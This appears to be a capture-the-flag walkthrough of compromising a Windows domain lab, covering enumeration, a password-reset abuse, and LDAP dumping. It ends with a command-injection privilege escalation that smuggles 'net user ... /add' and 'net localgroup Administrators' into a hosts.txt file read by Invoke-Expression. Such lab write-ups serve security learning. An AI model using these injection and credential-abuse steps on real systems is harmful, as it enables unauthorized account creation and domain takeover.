We can also see some jid references in the network console that shows the usernames of several users. Using curl and cut we can grab these that may be useful for later.

Hmmm Ok so this posts to check.asp , this could be useful for brute forcing..
From what I can see the search box on the front page doesnt do anything. Running gobuster lets see what we can find. left running in the background, nothing interesting popped up
Jabber/XMPP
From the open ports and information on the web page we can see that Openfire XMPP/Jabber is installed and running. Let's take a look at the see if we can access the admin console.
Checking searchsploit we can see the below
$ searchsploit openfire

Ok, so much use in the enurmation step, nothing gapping so lets roll back round and try and use the reset password to see if we can reset anyones password. Looking at the questions
As we saw when looking through the web page we saw
Looking a the picture we the file name lilyleAnd*****.jpg
Your password has been reset to: **********
Remember to change it after logging in!
Now that we have a password we can now look at the shares again.
$ smbclient -L //fire -U lilyle
Enter WORKGROUP\lilyle's password:

As ldap is open and we have username/password we can dump the ldap directory
$ ldapdomaindump -u "windcorp\lilyle" -p "*********" ra

Few other interesting bit but noticed the 403 access denied on the orginal scan for https. Using LilyLe credentials we can log in...
Can not really do much with the admin centre.... Lets head back to Openfire, we can not log into the admin console but lets see if we can log into the IM client adter installing in...
$ sudo dpkg -i spark_2_8_3.deb

Once logged in ( need to tell the client to ignore the SSL bits and set the server instead of autodetect) not allot we can see. Looking back to the mainpage buse is online
So ltes add him and see if we can send him messages to get anything.... Lets fire up responder as we are dealing with windows
sudo responder -I tun0 -v

Let copy over WinPEAS.bat and see if we can spot anything....
[+] UNQUOTED SERVICE PATHS
[i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Progam.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
[i] The permissions are also checked and filtered using icacls

Hmmm not much there, looking around I did find the below which appears to be running every min....

Lets have a look at the hosts file
*Evil-WinRM* PS C:\scripts> get-content C:\Users\brittanycr\hosts.txt
Access is denied
At line:1 char:1
+ get-content C:\Users\brittanycr\hosts.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\brittanycr\hosts.txt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
Cannot find path 'C:\Users\brittanycr\hosts.txt' because it does not exist.

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (C:\Users\brittanycr\hosts.txt:String) [Get-Content], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand
Ok access denied, but as we are in IT I asume we can change passwords ? Lets try
*Evil-WinRM* PS C:\scripts> net user brittanycr password1
Ok with the password change lets remount the users share on our machine and we can now access hosts.txt . Looking at the script the contents of this file is called with invoke-expression so we can use this to inject some commands...
get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_ -match "#")} |
ForEach-Object {
$p = "Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue"
Invoke-Expression $p
So lets change the contents of hosts.txt to be
; net user tony password1! /add ; net localgroup Administrators tony /add ;
turning the above into
Invoke-Expression "Test-Connection -ComputerName ; net user tony password1! /add ; net localgroup Administrators tony /add ; -Count 1 -ea silentlycontinue"
This creates our user
*Evil-WinRM* PS C:\scripts> net user tony
User name tony

The command completed successfully.
We can then use evil-winrm to access the flag on the administrators desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> get-content Flag3.txt
